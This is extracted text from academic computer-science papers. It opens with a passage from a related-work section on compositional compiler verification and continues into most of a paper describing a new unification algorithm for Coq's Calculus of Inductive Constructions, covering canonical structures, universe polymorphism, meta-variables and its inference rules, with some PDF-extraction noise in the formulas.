of compositional compiler verification, Beringer et al. [4, 22]
propose an adaptation of the CompCert framework based on a novel
“interaction” semantics that differentiates between internal (intra-
module) and external (inter-module) function calls. They introduce
a notion of “structured simulation” that assumes little about the
memory transformations performed by external function calls.

Beringer et al.’s approach is transitive, and like Perconti and
Ahmed’s (but unlike ours), it supports verified compilation of multi-
language programs—in this case, programs that link C and assem-
bly modules. However, also like Perconti and Ahmed’s approach,
Beringer et al.’s is somewhat lacking in flexibility. It depends
on compiler passes only performing a restricted set of memory
transformations—additional transformations could potentially break
the transitivity property. In addition, their method appears to be
geared specifically toward compilers à la CompCert, which employ
a uniform memory model across source, intermediate, and target
languages. It is not clear how to generalize their technique to support
richer (e.g., ML-like) source languages, or compilers whose source
and target languages have different memory models.

Wang et al. [25] have also recently explored compositional com-
piler verification for a restricted C-like language called Cito. Their
approach embeds the verification statement within a Hoare logic
for partial correctness of assembly modules, thus enabling support
for verified cross-language linking, but without guaranteeing preser-
vation of termination behavior. Further work is needed to better

understand the relationship between this approach and traditional
refinement-based compiler verification.
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Abstract
Unification is a core component of every proof assistant or program-
ming language featuring dependent types. In many cases, it must
deal with higher-order problems up to conversion. Since unification
in such conditions is undecidable, unification algorithms may in-
clude several heuristics to solve common problems. However, when
the stack of heuristics grows large, the result and complexity of the
algorithm can become unpredictable.

Our contributions are twofold: (1) We present a full descrip-
tion of a new unification algorithm for the Calculus of Inductive
Constructions (the base logic of COQ), including universe poly-
morphism, canonical structures (the overloading mechanism baked
into COQ’s unification), and a small set of useful heuristics. (2)
We implemented our algorithm, and tested it on several libraries,
providing evidence that the selected set of heuristics suffices for
large developments.

Categories and Subject Descriptors D.1.1 [Programming Tech-
niques]: Applicative (Functional) Programming; F.4.1 [Mathe-
matical Logic And Formal Languages]: Mathematical Logic—
Mechanical theorem proving

Keywords Interactive theorem proving; unification; Coq; universe
polymorphism; overloading.

1. Introduction
In the last decade proof assistants have become more sophisticated
and, as a consequence, increasingly adopted by computer scientists
and mathematicians. In particular, they are being adopted to help
dealing with very complex proofs, proofs that are hard to grasp—
and more importantly, to trust—for a human. For example, in
the area of algebra, the Feit-Thompson Theorem was recently
formalized [10] in the proof assistant COQ [22]. To provide a sense
of the accomplishment of Gonthier and his team, the original proof
of this theorem was published in two volumes, totaling an astounding
250 pages. The team formalized it entirely in COQ, together with
several books of algebra required as background material.

In order to make proofs manageable, this project relies heavily on
the ability of COQ’s unification algorithm to infer implicit arguments

and expand heavily overloaded functions. This goes to the point
that it is not rare to find in the source files a short definition that is
expanded, by the unification algorithm, into several lines of code
in the Calculus of (co-)Inductive Constructions (CIC), the base
logic of COQ. This expansion is possible thanks to the use of the
overloading mechanism in COQ called canonical structures [20].
This mechanism, similar in spirit to Haskell’s type classes, is baked
into the unification algorithm. By being part of unification, this
mechanism has a unique opportunity to drive unification to solve
particular unification problems in a similar fashion to Matita’s
hints [3]. It is so powerful, in fact, that it enables the development
of dependently-typed logic meta-programs [12].

Another important aspect of the algorithm is that it must deal
with higher-order problems, which are inherently undecidable, up-
to a subtyping relation on universes. For this reason, the current
implementation of the unification algorithm has grown with several
heuristics, yielding acceptable solutions to common problems in
practice. Unfortunately, the algorithm is unpredictable and hard
to reason about: given a unification problem, it is hard to predict
the substitution the algorithm will return, and the time complexity
for the task. This unpredictability of the current implemented
algorithm has two main reasons: (i) it lacks a specification, and
(ii) it incorporates a number of heuristics that obfuscate the order in
which unification subproblems are considered.

While the algorithm being unpredictable is bad on its own, the
problem gets exacerbated when combined with canonical struc-
tures, since their resolution may depend on the solutions obtained
in previous unification problems. To somehow accomodate for this
unfortunate situation, several works in the literature explain canoni-
cal structures by example [8, 9, 12, 13], providing some intuition on
how canonical structures work, in some cases even detailing certain
necessary aspects of the unification process. However, they fall short
of explaining the complex process of unification as a whole.

This paper presents our remedy to the current situation. More
precisely, our four main contributions are:

1. An original, full-fledged description of a unification algorithm
for CIC, incorporating canonical structures and universe poly-
morphism [21].

2. The first formal description, to the best of our knowledge, of
an extremely useful heuristic implemented in the unification
algorithm of COQ, controlled backtracking.

3. A corresponding pluggable implementation, incorporating only
a restricted set of heuristics, such as controlled backtracking.
Most notably, we purposely left out a technique known as
constraint postponement, present in many systems and in the
current implementation in Coq, which may reorder unification
subproblems. This reordering prevents us from knowing exactly
when equations are being solved.
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for profit or commercial advantage and that copies bear this notice and the full citation
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in_head : ∀ (x : A) (l : list A), x ∈ (x :: l)
in_tail : ∀ (x : A) (y : A) (l : list A), x ∈ l → x ∈ (y :: l)

Lemma inL : ∀ (x : A) (l r : list A), x ∈ l → x ∈ (l ++ r)
Lemma inR : ∀ (x : A) (l r : list A), x ∈ r → x ∈ (l ++ r)

Figure 1. List membership axioms and lemmas.

4. Evidence that such principled heuristics suffice to solve 99.9%
of the unification problems that arise in libraries such as the
Mathematical Components library [11] and CPDT [7].

It is interesting to note that during this work we found two bugs in
the logic of the original unification algorithm of COQ. While this
work focuses on the COQ proof assistant, the problems and solutions
presented may be of interest to other type theory based assistants and
programming languages, such as Agda [16], Matita [2], or Idris [5].

In the rest of the paper, we start introducing with examples some
features and heuristics included in COQ’s unification algorithm (§2).
Then, we present the language used in the paper (§3), necessary
to understand the core contribution of this work, a new unification
algorithm (§4). We evaluate the algorithm (§5) and conclude (§6).

2. COQ’s Unification at a Glance
We start by showing little examples highlighting some of the partic-
ularities of COQ’s unification algorithm.

First-order approximation: In many cases, a unification problem
may have several incomparable solutions. Consider for instance the
following definition in a context where y1 and y2 are defined:

Definition ex0 : y1 ∈ ([y1] ++ [y2]) := inL _ _ _ (in_head _ _)

We assume the definitions and lemmas for list membership listed in
Figure 1, and note (x :: s) for the consing of x to list s, [] for the
empty list, and l ++ r for the concatenation of lists l and r. We also
denote [a1; . . . ; an] a list with elements a1 to an.

This definition is a proof that the element y1 is in the list resulting
from concatenating the singleton lists [y1] and [y2]. The proof in
itself provides evidence that the element is in the head (in_head)
of the list on the left (inL). As customary in COQ code, the type
annotation shows what the definition is proving, and the proof omits
the information that can be inferred, replacing each argument to inL
and in_head with holes (_). The elaboration mechanism of COQ,
that is, the algorithm in charge of filling up these holes, calls the
unification algorithm with the following unification problem, where
the left-hand side corresponds to what the body of the definition
proves, and the right-hand side to what it is expected to prove:1

?z1 ∈ ((?z1 :: ?z2) ++ ?z3) ≈ y1 ∈ ([y1] ++ [y2])

where ?z1, ?z2 and ?z3 are fresh meta-variables. In turn, after
assigning y1 to ?z1, the unification algorithm has to solve the
following problem:

(y1 :: ?z2) ++ ?z3 ≈ [y1] ++ [y2]

One possible solution to this equation is to assign [] to ?z2, and
[y2] to ?z3, which corresponds to equate each argument of the
concatenation, similar to what we did before with the ∈ predicate.
However, since concatenation is a function, i.e., it computes the
concatenation of the two lists, there are other possible solutions that
makes both terms convertible (i.e., having the same normal form).
One such solution, for instance, is to assign [y2] to ?z2, and [] to
?z3.

1 How elaboration works will not be discussed in this work. The interested
reader is invited to read [4], which provides details on bi-directional
elaboration in the Matita proof assistant, also based on CIC.

Many works in the literature [e.g.,1, 14, 17, 18] are devoted to the
creation of unification algorithms returning a Most General Unifier
(MGU), that is, a unique solution that serves as a representative for
all convertible solutions. Agda [16], for instance, which incorporates
such type of unification algorithm, fails to compile Example ex0
above, since no such MGU exists. This forces the proof developer
to manually fill-in the holes.

Despite the equation having multiple solutions, however, not
every solution is equally “good”. For ex0, the first solution is the
most natural one, meaning the one expected by the proof developer.
For this reason, instead of failing, COQ favors syntactic equality by
trying first-order unification. Formally, when faced with a problem
of the form

t t1 . . . tn ≈ u u1 . . . un

the algorithm decomposes the problem into n+ 1 subproblems, first
equating t ≈ u, and then ti ≈ ui, for 0 < i ≤ n.

Controlled backtracking: In [19, chp. 10], a unification algorithm
for CIC is presented, performing only first-order unification. In
COQ, instead, when first-order approximation fails, in an effort to
find a solution to the equation, the algorithm reduces the terms
carefully. For instance, consider the following variation of the
previous example, where the list on the left of the concatenation is
let-bound:

Definition ex1 : y1 ∈ (let l := [y1] in (l ++ [y2]))

:= inL _ _ _ (in_head _ _)

The main equation to solve now is

(y1 :: ?z2) ++ ?z3 ≈ let l := [y1] in (l ++ [y2])

Since both terms do not share the same head (the concatenation
operator on the left and the let-binding on the right), the algorithm
reduces the let-binding, obtaining the same problem as in ex0. Note
that it has to be careful: it should not reduce the concatenation oper-
ator, otherwise the problem will become unsolvable. For this reason,
it delays the unfolding of constants, such as ++, and, in the case of
having constants on both sides of the equation, it takes special care
of which one to unfold. This heuristic enables fine control over the
instance resolution mechanism of canonical structures [12].

Canonical structures: Canonical structures (CS) is a powerful
overloading mechanism, baked into the unification algorithm. We
demonstrate this mechanism with a typical example from overload-
ing: the equality operator. Similar to how type classes are used in
Haskell [23], we define a class or, in CS terminology, a structure:2

Structure eqType := EqType { sort : Type;
equal : sort→ sort→ bool }

eqType is a record type with two fields: a type sort, and a boolean
binary operation equal on sort. These fields can be accessed using
projectors:

sort : eqType→ Type
equal : ∀e:eqType. sort e→ sort e→ bool

To construct an element of the type, the constructor EqType is
provided, which takes the values for the two fields as arguments.
For example, one possible eqType instance for bool is:

Definition eqType_bool := EqType bool eq_bool

where eq_bool x y := (x && y) || (!x && !y). (We denote
boolean conjunction, disjunction and negation as &&, ||and !.)

Similarly, it is possible to declare recursive instances. For
example, consider the instance for the pair type A × B, where

2 This example is a significant simplification of one taken from [11, 12].
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A and B are themselves instances of eqType:

Definition eqType_pair (A B : eqType) :=

EqType (sort A× sort B) (eq_pair A B)

where

eq_pair (A B : eqType) (u v : sort A× sort B) :=

(equal A (π1 u) (π1 v)) && (equal B (π2 u) (π2 v))

In order to use instances eq_bool and eq_pair for overloading,
we need to declare them as Canonical. After they have been
declared canonical, whenever the elaboration mechanism is asked to
elaborate a term like equal _ (b1, b2) (c1, c2), for booleans b1, b2, c1
and c2, it will generate a unification problem matching the expected
and inferred type of the second argument of equal, that is,

sort ?e ≈ bool× bool

for some meta-variable ?e elaborated from the hole (_).
To solve the equation above, COQ’s unification will try instanti-

ating ?e using the canonical instance eqType_pair, resulting in two
new unification subproblems, for fresh meta-variables ?A and ?B:

sort ?A ≈ bool sort ?B ≈ bool

Next, it will choose ?A := eqType_bool and ?B := eqType_bool,
resulting in that equal ?e (b1, b2) (c1, c2) reduces, as expected, to
eq_bool b1 c1 && eq_bool b2 c2.

We can declare a number of canonical eqType instances for our
types equipped with decidable equality. Then, we can uniformly
write equal _ t u, and let unification compute the corresponding
instance for the hole, according to the type of t and u.

Polymorphic universes and subtyping: Unification in CIC is not
a simple equational theory, in the sense that it must deal with the
subtyping relation generated by the cumulative universe hierarchy
(Type(i) ≤ Type(j) ⇐⇒ i ≤ j). To our knowledge, we
present the first algorithm dealing with this relation properly. In
COQ, previous algorithms relied on the kernel to check the proper
use of universes, resulting in particular in non-local error reporting
and the inability to backtrack on these errors, which becomes crucial
in presence of universe polymorphism and first-order approximation.

3. The Language: CIC with Open Terms
Before presenting the algorithm, we need to present the base lan-
guage of COQ, the Calculus of Inductive Constructions (CIC) [22,
chap. 4]. It is a dependently typed λ-calculus extended with induc-
tive types. It also includes co-inductive types, but their formulation
is not important for this work, so it will be omitted.

The terms (and types) of the language are defined as

t, u, T, U = x | c[`] | i[`] | k[`] | s | ?x[σ]

| ∀x : T. U | λx : T. t | t u | let x := t : T in u

|matchT t with k1 x1 ⇒ t1 | . . . | kn xn ⇒ tn end

| fixj {x1/n1 : T1 := t1; . . . ;xm/nm : Tm := tm}
σ = t

`, κ ∈ L ∪ 0−

K = κ |K + 1

s = Type(K
+

)

Terms include variables x ∈ V , constants c ∈ C, inductive
type constructors i ∈ I and constructors k ∈ K, these last three
being applied to universe instances ` built from universe levels ` ∈
L∪0−. Terms also includes sorts s, representing algebraic universes.
Algebraic universes represent least upper bounds of a (non-empty)
set of levels or successors of levels. They are used notably to

sort products, e.g. (∀A : Type(i),Type(j)) : Type(i+1, j). The
impredicative sort Prop, the type of propositions, is represented as
Type(0−). Terms may contain a hole, representing a missing piece
of the term (or proof). Holes are represented with meta-variables,
a variable prepended with a question mark, as in ?x. For reasons
that will become apparent soon, meta-variables are applied to a
suspended substitution [σ], which is nothing more than a list of
terms.

In order to destruct an element of an inductive type, CIC provides
regular pattern matching and mutually recursive fixpoints. Their
notation is slightly different from, but easily related to, the actual
notation from COQ. match is annotated with the return predicate T ,
meaning that the type of the whole match expression may depend
on the element being pattern matched (as . . . in . . . in standard COQ
notation). In the fix expression, x/n : T := t means that T is a
type starting with at least n product types, and the n-th variable is
the decreasing one in t (struct in COQ notation). The subscript j of
fix selects the j-th function as the main entry point of the mutually
recursive fixpoints.

In order to typecheck and reduce terms, COQ uses several
contexts, each handling different types of knowledge:

1. Universe contexts Φ declaring universe level names and associ-
ated constraints ((in-)equalities on levels);

2. Local contexts Γ, including bound variables and let-bound
expressions;

3. Meta-contexts Σ, containing meta-variable declarations and
definitions; and

4. A global environment E, containing the global knowledge; that
is, axioms, theorems, and inductive definitions, along with a
global universe context that can be incrementally enriched.

Formally, they are defined as follows:

Φ = ` � C C = · | C ∧ ` O `′ where O ∈ {=,≤, <}
Γ,Ψ = · | x : T,Γ | x := t : T,Γ

Σ = · | ?x : T [Ψ],Σ | ?x := t : T [Ψ],Σ

E = · | c[Φ] : T,E | c[Φ] := t : T,E | I, E | Φ, E

I = ∀Φ,Γ. { i : ∀y : Th. s := {k1 : U1; . . . ; kn : Un} }

A universe context consists of a list of levels ` and a set of constraints
C on those levels. The local context is standard, and requires no
further explanation. Meta-variables have contextual types, meaning
that the type T of a meta-variable must have all of its free variables
bound within the local context Ψ. In this work we borrow the
notation T [Ψ] from Contextual Modal Type Theory [15]. A meta-
variable can be instantiated with a term t, noted ?x := t : T [Ψ]. In
this case, t should also contain only free variables occurring in Ψ.

The global environment associates a constant c with a local uni-
verse context (usually omitted), a type and, optionally, a definition.
In the first case, c is an axiom, while in the second c is a theorem
proved by term t. Additionally, this environment may also con-
tain (mutually recursive) inductive types and global universe and
constraint declarations.

A set of mutually recursive inductive types I is prepended with
a universe context Φ and a list of parameters Γ. Every inductive
type i defined in the set has sort s, with parameters y : Th. It has
a possibly empty list of constructors k1, . . . , kn. For every j, each
type Uj of constructor kj has shape ∀z : U ′. i t1 . . . th.

Inductive definitions are restricted to avoid circularity, meaning
that every type constructor i can only appear in a strictly positive
position in the type of every constructor. For the purpose of this
work, understanding this restriction is not crucial, and we refer the
interested reader to [22, chap. 4]. Additionally, fixpoints on inductive
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types must pass the guard condition (ibid., §4.5.5) to be accepted by
the kernel, a syntactic criterion ensuring termination. We will come
back to this point in §4.7. It is interesting to note that a Structure,
like the one shown in the previous section, is syntactic sugar for
an inductive type with only one constructor, and with projections
generated for each argument of the constructor.

3.1 Meta-Variables and Contextual Types
At a high-level, meta-variables are holes in a term, which are
expected to be filled out at a later point in time. For instance, when
a lemma is applied to solve some goal, COQ internally creates fresh
meta-variables for all the formal parameters of the lemma, and
proceeds to unify the goal with the conclusion of the lemma. During
unification, meta-variables are instantiated so that both terms (the
goal and the conclusion of the lemma) become convertible (equal
modulo reduction rules, see §3.2).

In the simple examples shown so far, contextual types played no
role but, as we are going to see in the next example, they prevent
illegal instantiations of meta-variables. For instance, such illegal
instantiations could potentially happen if the same meta-variable
occurs at different locations in a term, with different variables in the
scope of each occurrence. We illustrate this point with an example
taken from [24]. Suppose function f defined locally as follows:

f := λw : nat. (_ : nat)

where the hole (_) is an indication to COQ’s elaboration mechanism
to “fill in this hole with a meta-variable”. The accessory typing an-
notation provides the expected type for the meta-variable. Assuming
no other variables occur in scope, after elaboration f becomes:

f := λw : nat. ?v[w] (1)

for some fresh meta-variable ?v. Since any instantiation of ?v may
only refer to w, its type becomes nat[w : nat]. This contextual type
specifies precisely that ?v may only be instantiated with a term of
type nat containing at most a single free variable w of type nat. In
the elaborated term (1), [w] stands for the suspended substitution
specifying how to transform such instantiation into one that is well-
typed under the current context. In this case, this substitution is the
identity, because the current context and the context under which ?v
was created are identical (in fact, the latter is a copy of the former).

Now suppose that we define functions g and h referring to f :

g := λx y : nat. f x h := λz : nat. f z

and proceed to unify g with a function projecting the first argument:

g ≈ λx y : nat. x

In order to solve this equation, COQ proceeds to unfold the definition
of g and to push x and y in the local context. The new equation to
solve becomes:

f x ≈ x

After unfolding f and β-reducing the left-hand side, it amounts to
solving the following equation:

?v[x] ≈ x

At this point is where the contextual type of ?v comes into play. If
meta-variables were created with a normal type, that is, not having
contextual type (and suspended substitution), it would seem that the
only solution for ?v is x. However, that solution would break the
definition of h since x is not in scope there. Given the contextual
information, however, COQ will correctly realize that ?v should be
instantiated with w, not x. Under that instantiation, g will normalize
to λx y : nat. x, and h will normalize to λz : nat. z.

The suspended substitution and the contextual type are the tools
that the unification algorithm uses to know how to instantiate the
meta-variable. The decision to solve ?v[x] ≈ x by instantiating

(λx : T. t) u  β t{u/x} let x := u : T in t  ζ t{u/x}

(x := t : T ) ∈ Γ

x  δΓ t

?x := t : T [Ψ] ∈ Σ

?x[σ]  δΣ t{σ/Ψ̂}

(c[` � C] := t : T ) ∈ E
c[κ]  δE t[κ/`]

matchT kj [κ] t with k x⇒ u end  ι uj{t/xj}

F = x/n : T := t an = kj [κ] t

fixj {F} a  ι tj{fixm {F}/xm} a

Figure 2. Reduction rules in CIC.

?v : nat[w : nat] with w is due to the problem falling in the pattern
unification subset [14]. When COQ faces a problem of the form

?u[y1, . . . , yn] ≈ e

where the y1, . . . , yn are all distinct variables, then the most general
solution to the problem is to invert the substitution and apply it on
the right-hand side of the equation, in other words instantiating ?u
with e{x1/y1, . . . , xn/yn}, where x1, . . . , xn are the variables in
the local context of ?u (and assuming the free variables of e are in
{y1, . . . , yn}).

In the example above, at the point where COQ tries to unify
?u[x] ≈ x, the solution (through inversion) is to instantiate ?u
with x{w/x}, that is, w.

3.2 Semantics
Reduction of CIC terms is performed through a set of rules listed in
Figure 2. Besides the standard β rule, CIC provides six more rules to
destruct the different term constructions: the ζ rule, which expands
let-definitions, three δ rules, which expand definitions from each of
the contexts, and two ι rules, which evaluate pattern matchings and
fixpoints.

Most of the rules are self explanatory, with the sole exception
of the δΣ rule. It takes a meta-variable ?x, applied to suspended
substitution σ, and replaces it by its definition t, replacing each
variable from its local context Ψ by the corresponding term from
substitution σ. For this we use the multi-substitution of terms,
mapping the variables coming from the domain of Ψ with terms
in σ. To obtain the domain of Ψ, we use the type-eraser function ·̂,
defined as:

̂x1 : T1, . . . , xn : Tn = x1, . . . , xn

The unfolding rules (δΓ, δΣ, δE), of course, depend on the
contexts. As customary, we will always consider the environment
E implicit. We will also omit Γ and Σ when there is no room for
ambiguity.

Conversion (≡) is defined as the congruent closure of these
reduction rules, plus η-conversion: u ≡ λx : T.u x iff x /∈ FV(u).

4. The Algorithm
We proceed to describe our proposal in the following pages, under-
lining every non-standard design decision. We emphasize that this
is not a faithful description of the current unification algorithm in
COQ, but a new one that is, however, close enough. In particular,
we purposely left out a technique known as constraint postpone-
ment (§4.6), as well as other heuristics hard to grasp. At the same
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time, we introduced our own set of heuristics, based on practical
examples (§5) and on previous work by Abel and Pientka (§4.3).

The unification judgment is of the form:

Φ; Σ; Γ ` t1 ≈R t2 B Φ′,Σ′

It unifies terms t1 and t2, given a universe context Φ, meta-context
Σ and a local context Γ. There is an implicit global environment
E. The universe context carries additional information for each
universe variable introduced: they are either flexible (`f) or rigid (`r).
This information is used when unifying two instances of the same
constant to avoid forcing universe constraints that would not appear
if the bodies of the instantiations were unified instead, respecting
transparency of the constants. Flexible variables are generated
when taking a fresh instance of a polymorphic constant, inductive
or constructor during elaboration, while rigid ones correspond to
user-specified levels or Type annotations. The relation R (≡ or
≤) indicates if were are trying to derive conversion of the two
terms or cumulativity, the subtyping relation on universes. The rules
decomposing constructions switch to conversion in their premises
except for sorts and dependent function spaces, otherwise the
relation is preserved when reducing one side or the other. The
algorithm returns a new universe context Φ′ and meta-context Σ′,
which are extensions of Φ and Σ, respectively, perhaps with new
universes constraints in Φ′, and new meta-variables or instantiations
of existing meta-variables in Σ. The algorithm ensures that terms
t1 and t2 are convertible (or in the cumulativity relation) in the
returned contexts.

In the presentation of the algorithm we will often omit the
universe context Φ, since it is, in most of the cases, simply threaded
along. The unification algorithm is quite involved, so to help
readability we split the rules across four different subsections.
Roughly, in §4.1 we consider the case when the two terms being
unified have no arguments, and share the same head constructor; in
§4.2 we consider terms having arguments; in §4.3 we consider meta-
variable unification; and in §4.4 we consider canonical structures
resolution. The algorithm’s strategy, which backtracks in some
particular cases, cannot be understood by the ordering of the rules, so
we devote §4.5 to explain in detail the algorithm’s strategy. In §4.6
we explain the technique of constraint postponement, and the reason
for its omission in our algorithm. Finally, in §4.7 we comment on
the correctness of the algorithm.

4.1 Same Constructor
Figure 3 shows the rules that apply when both terms share the
same head constructor. We need to distinguish this set of rules from
the other rules in the algorithm, so we annotate them with a 0 as
subscript of the turnstile (`0). The reasons will become evident
when we look at the rules in the next subsection.

The rule TYPE-SAME unifies two sorts, according to the relation
R. By invariant, we know that the right-hand side universe can only
be a single level while the l.h.s. can be the least upper bound of a
set of universe levels or successors iff the relation is cumulativity,
and any such ≤ constraints can be translated to a set of atomic
≤ or < constraints (see [21] for details). The predicate C �
denotes satisfiability of set of constraints C and naturally extends to
consistency of universe contexts (φ �).

For abstractions (LAM-SAME) and products (PROD-SAME), we
first unify the types of the arguments, and then the body of the
binder, with the local context extended with the bound variable.
(The universe context is omitted, as in some of the following rules,
since it is just threaded along.) When unifying two lets, the rule LET-
SAME compares first the type of the definitions, then the definitions
themselves, and finally the body. In the last case, it augments the
local context with the definition on the left (choosing the one on the

TYPE-SAME
C′ = C ∧ u R κ C′ �

` � C; Σ; Γ `0 Type(u) ≈R Type(κ) B ` � C′; Σ

PROD-SAME, LAM-SAME

Π ∈ {λ,∀}
Σ0; Γ ` T1 ≈≡ U1 B Σ1 Σ1; Γ, x : T1 ` T2 ≈R U2 B Σ2

Σ0; Γ `0 Πx : T1. T2 ≈R Πx : U1. U2 B Σ2

LET-SAME
Σ0; Γ ` T ≈≡ U B Σ1 Σ1; Γ ` t2 ≈≡ u2 B Σ2

Σ2; Γ, x := t2 ` t1 ≈R u1 B Σ3

Σ0; Γ `0 let x := t2 : T in t1 ≈R let x := u2 : U in u1 B Σ3

RIGID-SAME

h ∈ V ∪ I ∪ K C1 = C0 ∧ κ = κ′ C1 |=
(` � C0); Σ; Γ `0 h[κ] ≈R h[κ′] B (` � C1),Σ

FLEXIBLE-SAME

h ∈ C Φ0 |= ` = κ B Φ1

Φ0; Σ; Γ `0 h[`] ≈R h[κ] B Φ1,Σ

UNIV-EQ

Φ |= i = j

Φ |= i = j B Φ

UNIV-FLEXIBLE

if ∨ jf ∈ ` C ∧ i = j |=
(` � C) |= i = j B (` � C ∧ i = j)

CASE-SAME
Σ0; Γ ` T ≈≡ U B Σ1

Σ1; Γ ` t ≈≡ u B Σ2 Σ2; Γ ` b ≈≡ b′ B Σ3

Σ0; Γ `0 matchT t with b end ≈R matchU u with b′ end B Σ3

FIX-SAME

Σ0; Γ ` T ≈≡ U B Σ1 Σ1; Γ ` t ≈≡ u B Σ2

Σ0; Γ `0 fixj {x/n : T := t} ≈R fixj {x/n : U := u} B Σ2

Figure 3. Unifying terms sharing the same head constructor.

left is an arbitrary choice, but after unification both definitions are
convertible, i.e., indistinguishable).

RIGID-SAME equates the same variable, inductive type or con-
structor, enforcing that their universe instances are equal (note that
the application of the rule will fail if these new constraints are incon-
sistent). The FLEXIBLE-SAME rule unifies two instances of the same
constant using a stronger condition on universe instances: they must
unify according to the current constraints and by equating rigid uni-
verse variables with flexible variables only (Φ |= i = j checks if the
constraint is already derivable). Otherwise we will backtrack on this
rule to unfold the constant and unify the bodies (§4.2), which will
generaly result in weaker, more general constraints to be enforced.
The last two rules (CASE-SAME and FIX-SAME) unify matches and
fixpoints, respectively. In both cases we just unify pointwise every
component of the term constructors.

4.2 Reduction
The previous subsection considered only the cases when both terms
have no arguments and share the same constructor. If that is not
the case, the algorithm first tries first-order approximation (rule
APP-FO in Figure 4). This rule, when considering two applications
with the same number of arguments (n), compares the head element
(t and t′, using only the rules in Figure 3), and then proceeds to
unify each of the arguments. As customary, we denote multiple
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APP-FO
Σ0; Γ `0 t ≈R u B Σ1

n ≥ 0 Σ1; Γ ` tn ≈≡ un B Σ2

Σ0; Γ ` t tn ≈R u un B Σ2

META-δR, LAM-βR, LET-ζR

Σ; Γ ` u w
 δΣ,β,ζ u

′

Σ; Γ ` t ≈R u′ B Σ′

Σ; Γ ` t ≈R u B Σ′

META-δL, LAM-βL, LET-ζL

Σ; Γ ` t w
 δΣ,β,ζ t

′

Σ; Γ ` t′ ≈R u B Σ′

Σ; Γ ` t ≈R u B Σ′

CASE-ιR
u is fix or match Σ; Γ ` u ↓wβζδΣιθ u′

u 6= u′ Σ; Γ ` t ≈R u′ B Σ′

Σ; Γ ` t ≈R u B Σ′

CASE-ιL
t is fix or match Σ; Γ ` t ↓wβζδΣιθ t′

t 6= t′ Σ; Γ ` t′ ≈R u B Σ′

Σ; Γ ` t ≈R u B Σ′

CONS-δNOTSTUCKR
not Σ; Γ ` is_stuck u

u
w
 δE,δΓ u′

Σ; Γ ` t ≈R u′ B Σ′

Σ; Γ ` t ≈R u B Σ′

CONS-δSTUCKL
Σ; Γ ` is_stuck u
t

w
 δE,δΓ t′

Σ; Γ ` t′ ≈R u B Σ′

Σ; Γ ` t ≈R u B Σ′

CONS-δR
Σ; Γ ` u w

 δE,δΓ u′

Σ; Γ ` t ≈R u′ B Σ′

Σ; Γ ` t ≈R u B Σ′

CONS-δL
Σ; Γ ` t w

 δE,δΓ t′

Σ; Γ ` t′ ≈R u B Σ′

Σ; Γ ` t ≈R u B Σ′

LAM-ηR
u’s head is not an abstraction Σ0; Γ ` u : U
ensure_product(φ0; Σ0; Γ;T ;U) = (φ1; Σ1)

φ1; Σ1; Γ, x : T ` u x ≈≡ t B φ2; Σ2

φ0; Σ0; Γ ` u ≈R λx : T. t B φ2; Σ2

LAM-ηL
u’s head is not an abstraction Σ0; Γ ` u : U
ensure_product(φ0; Σ0; Γ;T ;U) = (φ1; Σ1)

φ1; Σ1; Γ, x : T ` t ≈≡ u x B φ2; Σ2

φ0; Σ0; Γ ` λx : T. t ≈R u B φ2; Σ2

Figure 4. Reduction steps attempted during unification.

applications as a spine [6], using the form t un to represent the term
(. . . (t u1) . . . un). We call t the head of the term.

If the rules in Figure 3 plus APP-FO fail to apply, then the algo-
rithm tries different reduction strategies. Except in some particular
cases, the algorithm first tries reducing the right-hand side (rules
ending with R) and then the left-hand side (rules ending with L).
Except where noted, every L rule is just the mirror of the correspond-
ing R rule, swapping the terms being unified in the conclusion and
applications of unification in the premises. We will often omit the
last letter (R or L), and simply write e.g., META-δ when referring to
both rules.

The algorithm first tries one step of either weak-head expansion
of meta-variables (δΣ), weak-head β reduction, or weak-head let-
expansion (ζ). These steps are described in rules META-δ, LAM-β,
and LET-ζ. (Actually, as we are going to see in §4.5, the order of

t ↓wβζδι kj a
matchT t with k x⇒ t′ end

 θ matchT kj [κ] a with k x⇒ t′ end

anj ↓
w
βζδι k b

fixj {F} a1 . . . anj  θ fixj {F} a1 . . . anj−1 (k b)

Figure 5. The θ-reduction strategy.

the rules is slightly different, although for the moment the implicit
ordering obtained from the figure suffices.)

More interesting are the cases for δE, δΓ and ι reductions. The
high level idea is that special care should be taken when unfolding
defined constants and variables. One reason is efficiency: we hope
that, before performing the unfolding of a constant or variable, we
will find the same constant or variable on the other side of the
equation. The second reason is to avoid missing potential solutions,
as already mentioned when introducing controlled backtracking in
§2.

In the case of a match or a fix (rules CASE-ι), we want to be able
to reduce the scrutinee using all reduction rules, including δE and
δΓ, and then (if applicable), continue reducing the corresponding
branch of the match or the body of the fix, but avoiding δE and
δΓ. We illustrate this desired behavior with a simple example using
canonical structures. Consider the environmentE = d := 0; c := d,
where there is also a structure with projector proj. Suppose further
that there is a canonical instance i registered for proj and d. Then,
the algorithm should succeed finding a solution for the following
equation:

match c with 0⇒ d | _⇒ 1 end ≈ proj ?f (2)

where ?f is an unknown instance of the structure. More precisely,
we expect the left-hand side to be reduced as

d ≈ proj ?f

therefore enabling the use of the canonical instance i to solve ?f .
This is done in the rule CASE-ιL by weak-head normalizing the

left-hand side using the standard βζδΣι reduction rules plus a new
reduction rule, θ, which weak-head normalizes scrutinees (Figure 5).
Note that we really need this new reduction rule: we cannot consider
weak-head reducing the term using δE, as it will destroy the constant
d in the example above, nor restrict reduction of the scrutinee to
not include δE, as it will be too restrictive (disallowing δE in the
reduction on the l.h.s. makes Equation 2 not unifiable).

In Equation 2 we have a match on the l.h.s., and a constant
on the r.h.s. (the projector). By giving priority to the ι reduction
strategy over the δE one we can be sure that the projector will not get
unfolded beforehand, and therefore the canonical instance resolution
mechanism will work as expected. Different is the situation when we
have constants on both sides of the equation. For instance, consider
the following equation:

c ≈ proj ?f (3)

in the same context as before. Since there is no instance defined for
c, we expect the algorithm to unfold it, uncovering the constant d.
Then, it should solve the equation, as before, by instantiating ?f
with i. If the projector is unfolded first instead, then the algorithm
will not find the solution. The reason is that the projector unfolds to
a case on the unknown ?f :

c ≈ match ?f with Constr a1 . . . an ⇒ aj end

(Assuming the projector proj corresponds to the j-th field in the
structure, and Constr is the constructor of the structure.) Now the
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canonical instance resolution will fail to see that the right-hand
side is (was) a projector, so after unfolding c and d on the left, the
algorithm will give up and fail.

In this case we cannot just simply rely on the ordering of rules,
since that would make the algorithm sensitive to the position of the
terms. In order to solve Equation 3 above, for instance, we need to
prioritize reduction on the l.h.s. over the r.h.s., but this prioritization
will have a negative impact on equations having the projector on the
left instead of the right. The solution is to unfold a constant on the
r.h.s. only if the term does not “get stuck”, that is, does not evaluate
